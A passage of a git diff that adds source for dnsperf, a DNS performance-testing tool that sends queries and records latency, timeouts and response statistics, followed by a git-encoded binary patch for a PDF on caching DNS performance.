isc_uint64_t now) +{ + struct query_info *q; + const config_t *config; + + config = tinfo->config; + + /* Avoid locking unless we need to. */ + q = ISC_LIST_TAIL(tinfo->outstanding_queries); + if (q == NULL || q->timestamp > now || + now - q->timestamp < config->timeout) + return; + + LOCK(&tinfo->lock); + + do { + query_move(tinfo, q, append_unused); + + tinfo->stats.num_timedout++; + + if (q->desc != NULL) { + perf_log_printf("> T %s", q->desc); + } else { + perf_log_printf("[Timeout] %s timed out: msg id %u", + config->updates ? "Update" : "Query", + (unsigned int)(q - tinfo->queries)); + } + q = ISC_LIST_TAIL(tinfo->outstanding_queries); + } while (q != NULL && q->timestamp < now && + now - q->timestamp >= config->timeout); + + UNLOCK(&tinfo->lock); +} + +typedef struct { + isc_uint16_t qid; + isc_uint16_t rcode; + unsigned int size; + isc_uint64_t when; + isc_uint64_t sent; + isc_boolean_t unexpected; + isc_boolean_t short_response; + char *desc; +} received_query_t; + +static void * +do_recv(void *arg) +{ + threadinfo_t *tinfo; + const config_t *config; + const times_t *times; + stats_t *stats; + unsigned char packet_buffer[MAX_EDNS_PACKET]; + isc_uint16_t *packet_header; + received_query_t recvd[RECV_BATCH_SIZE]; + unsigned int nrecvd; + int saved_errno; + isc_uint64_t now, latency; + query_info *q; + unsigned int i; + int n; + + tinfo = (threadinfo_t *) arg; + config = tinfo->config; + times = tinfo->times; + stats = &tinfo->stats; + packet_header = (isc_uint16_t *) packet_buffer; + + wait_for_start(); + now = get_time(); + while (!interrupted) { + process_timeouts(tinfo, now); + + /* + * If we're done sending and either all responses have been + * received, stop. + */ + if (tinfo->done_sending && num_outstanding(stats) == 0) + break; + + /* + * Try to receive a few packets, so that we can process them + * atomically. + */ + saved_errno = 0; + for (i = 0; i < RECV_BATCH_SIZE; i++) { + n = recv(tinfo->sock, packet_buffer, + sizeof(packet_buffer), 0); + now = get_time(); + if (n < 0) { + saved_errno = errno; + break; + } + recvd[i].qid = ntohs(packet_header[0]); + recvd[i].rcode = ntohs(packet_header[1]) & 0xF; + recvd[i].size = n; + recvd[i].when = now; + recvd[i].sent = 0; + recvd[i].unexpected = ISC_FALSE; + recvd[i].short_response = ISC_TF(n < 4); + recvd[i].desc = NULL; + } + nrecvd = i; + + /* Do all of the processing that requires the lock */ + LOCK(&tinfo->lock); + for (i = 0; i < nrecvd; i++) { + if (recvd[i].short_response) + continue; + + q = &tinfo->queries[recvd[i].qid]; + if (q->list != &tinfo->outstanding_queries || + q->timestamp == ISC_UINT64_MAX) + { + recvd[i].unexpected = ISC_TRUE; + continue; + } + query_move(tinfo, q, append_unused); + recvd[i].sent = q->timestamp; + recvd[i].desc = q->desc; + q->desc = NULL; + } + SIGNAL(&tinfo->cond); + UNLOCK(&tinfo->lock); + + /* Now do the rest of the processing unlocked */ + for (i = 0; i < nrecvd; i++) { + if (recvd[i].short_response) { + perf_log_warning("received short response"); + continue; + } + if (recvd[i].unexpected) { + perf_log_warning("received a response with an " + "unexpected (maybe timed out) " + "id: %u", recvd[i].qid); + continue; + } + latency = recvd[i].when - recvd[i].sent; + if (recvd[i].desc != NULL) { + perf_log_printf( + "> %s %s %u.%06u", + perf_dns_rcode_strings[recvd[i].rcode], + recvd[i].desc, + (unsigned int)(latency / MILLION), + (unsigned int)(latency % MILLION)); + free(recvd[i].desc); + } + + stats->num_completed++; + stats->total_response_size += recvd[i].size; + stats->rcodecounts[recvd[i].rcode]++; + stats->latency_sum += latency; + stats->latency_sum_squares += (latency * latency); + if (latency < stats->latency_min || + stats->num_completed == 1) + stats->latency_min = latency; + if (latency > stats->latency_max) + stats->latency_max = latency; + } + + if (nrecvd > 0) + tinfo->last_recv = recvd[nrecvd - 1].when; + + /* + * If there was an error, handle it (by either ignoring it, + * blocking, or exiting). + */ + if (nrecvd < RECV_BATCH_SIZE) { + if (saved_errno == EINTR) { + continue; + } else if (saved_errno == EAGAIN) { + perf_os_waituntilreadable(tinfo->sock, + threadpipe[0], + TIMEOUT_CHECK_TIME); + now = get_time(); + continue; + } else { + perf_log_fatal("failed to receive packet: %s", + strerror(saved_errno)); + } + } + } + + return NULL; +} + +static void * +do_interval_stats(void *arg) +{ + threadinfo_t *tinfo; + stats_t total; + isc_uint64_t now; + isc_uint64_t last_interval_time; + isc_uint32_t last_completed; + isc_uint64_t interval_time; + isc_uint32_t num_completed; + double qps; + + tinfo = arg; + last_interval_time = tinfo->times->start_time; + last_completed = 0; + + wait_for_start(); + while (perf_os_waituntilreadable(threadpipe[0], threadpipe[0], + tinfo->config->stats_interval) == + ISC_R_TIMEDOUT) + { + now = get_time(); + sum_stats(tinfo->config, &total); + interval_time = now - last_interval_time; + num_completed = total.num_completed - last_completed; + qps = num_completed / (((double)interval_time) / MILLION); + perf_log_printf("%u.%06u: %.6lf", + (unsigned int)(now / MILLION), + (unsigned int)(now % MILLION), qps); + last_interval_time = now; + last_completed = total.num_completed; + } + + return NULL; +} + +static void +cancel_queries(threadinfo_t *tinfo) +{ + struct query_info *q; + + while (ISC_TRUE) { + q = ISC_LIST_TAIL(tinfo->outstanding_queries); + if (q == NULL) + break; + query_move(tinfo, q, append_unused); + + if (q->timestamp == ISC_UINT64_MAX) + continue; + + tinfo->stats.num_interrupted++; + if (q->desc != NULL) { + perf_log_printf("> I %s", q->desc); + free(q->desc); + q->desc = NULL; + } + } +} + +static void +threadinfo_init(threadinfo_t *tinfo, const config_t *config, + const times_t *times) +{ + unsigned int offset, i; + + memset(tinfo, 0, sizeof(*tinfo)); + MUTEX_INIT(&tinfo->lock); + COND_INIT(&tinfo->cond); + + ISC_LIST_INIT(tinfo->outstanding_queries); + ISC_LIST_INIT(tinfo->unused_queries); + for (i = 0; i < NQIDS; i++) { + ISC_LINK_INIT(&tinfo->queries[i], link); + ISC_LIST_APPEND(tinfo->unused_queries, + &tinfo->queries[i], link); + tinfo->queries[i].list = &tinfo->unused_queries; + } + + offset = tinfo - threads; + tinfo->sock = perf_net_opensocket(&config->server_addr, + &config->local_addr, + offset, config->bufsize); + tinfo->dnsctx = perf_dns_createctx(config->updates); + + tinfo->config = config; + tinfo->times = times; + + /* + * For both max_outstanding and max_qps, divide the configured number + * by the number of threads (and deal with remainders). + */ + + tinfo->max_outstanding = config->max_outstanding / config->clients; + if (config->max_outstanding % config->clients > offset) + tinfo->max_outstanding++; + if (tinfo->max_outstanding > NQIDS) + tinfo->max_outstanding = NQIDS; + + tinfo->max_qps = config->max_qps / config->clients; + if (config->max_qps % config->clients > offset) + tinfo->max_qps++; + + THREAD(&tinfo->receiver, do_recv, tinfo); + THREAD(&tinfo->sender, do_send, tinfo); +} + +static void +threadinfo_stop(threadinfo_t *tinfo) +{ + SIGNAL(&tinfo->cond); + JOIN(tinfo->sender, NULL); + JOIN(tinfo->receiver, NULL); +} + +static void +threadinfo_cleanup(threadinfo_t *tinfo, times_t *times) +{ + if (interrupted) + cancel_queries(tinfo); + close(tinfo->sock); + perf_dns_destroyctx(&tinfo->dnsctx); + if (tinfo->last_recv > times->end_time) + times->end_time = tinfo->last_recv; +} + +int +main(int argc, char **argv) +{ + config_t config; + times_t times; + stats_t total_stats; + threadinfo_t stats_thread; + unsigned int i; + isc_result_t result; + + printf("DNS Performance Testing Tool\n" + "Nominum Version " VERSION "\n\n"); + + setup(argc, argv, &config); + + if (pipe(threadpipe) < 0 || pipe(mainpipe) < 0 || + pipe(intrpipe) < 0) + perf_log_fatal("creating pipe"); + + perf_datafile_setpipefd(input, threadpipe[0]); + + perf_os_blocksignal(SIGINT, ISC_TRUE); + + print_initial_status(&config); + + threads = isc_mem_get(mctx, config.clients * sizeof(threadinfo_t)); + if (threads == NULL) + perf_log_fatal("out of memory"); + for (i = 0; i < config.clients; i++) + threadinfo_init(&threads[i], &config, ×); + if (config.stats_interval > 0) { + stats_thread.config = &config; + stats_thread.times = × + THREAD(&stats_thread.sender, do_interval_stats, &stats_thread); + } + + times.start_time = get_time(); + if (config.timelimit > 0) + times.stop_time = times.start_time + config.timelimit; + else + times.stop_time = ISC_UINT64_MAX; + times.stop_time_ns.tv_sec = times.stop_time / MILLION; + times.stop_time_ns.tv_nsec = (times.stop_time % MILLION) * 1000; + + LOCK(&start_lock); + started = ISC_TRUE; + BROADCAST(&start_cond); + UNLOCK(&start_lock); + + perf_os_handlesignal(SIGINT, handle_sigint); + perf_os_blocksignal(SIGINT, ISC_FALSE); + result = perf_os_waituntilreadable(mainpipe[0], intrpipe[0], -1); + if (result == ISC_R_CANCELED) + interrupted = ISC_TRUE; + + times.end_time = get_time(); + + write(threadpipe[1], "", 1); + for (i = 0; i < config.clients; i++) + threadinfo_stop(&threads[i]); + if (config.stats_interval > 0) + JOIN(stats_thread.sender, NULL); + + for (i = 0; i < config.clients; i++) + threadinfo_cleanup(&threads[i], ×); + + print_final_status(&config); + + sum_stats(&config, &total_stats); + print_statistics(&config, ×, &total_stats); + + isc_mem_put(mctx, threads, config.clients * sizeof(threadinfo_t)); + cleanup(&config); + + return (0); +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/doc/caching-dns-performance.pdf b/dns-projects/dnsperf-src-2.0.0.0-1/doc/caching-dns-performance.pdf new file mode 100644 index 0000000000000000000000000000000000000000..613a45c086048521f2878467dd142fde111c1148 GIT binary patch literal 70898 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 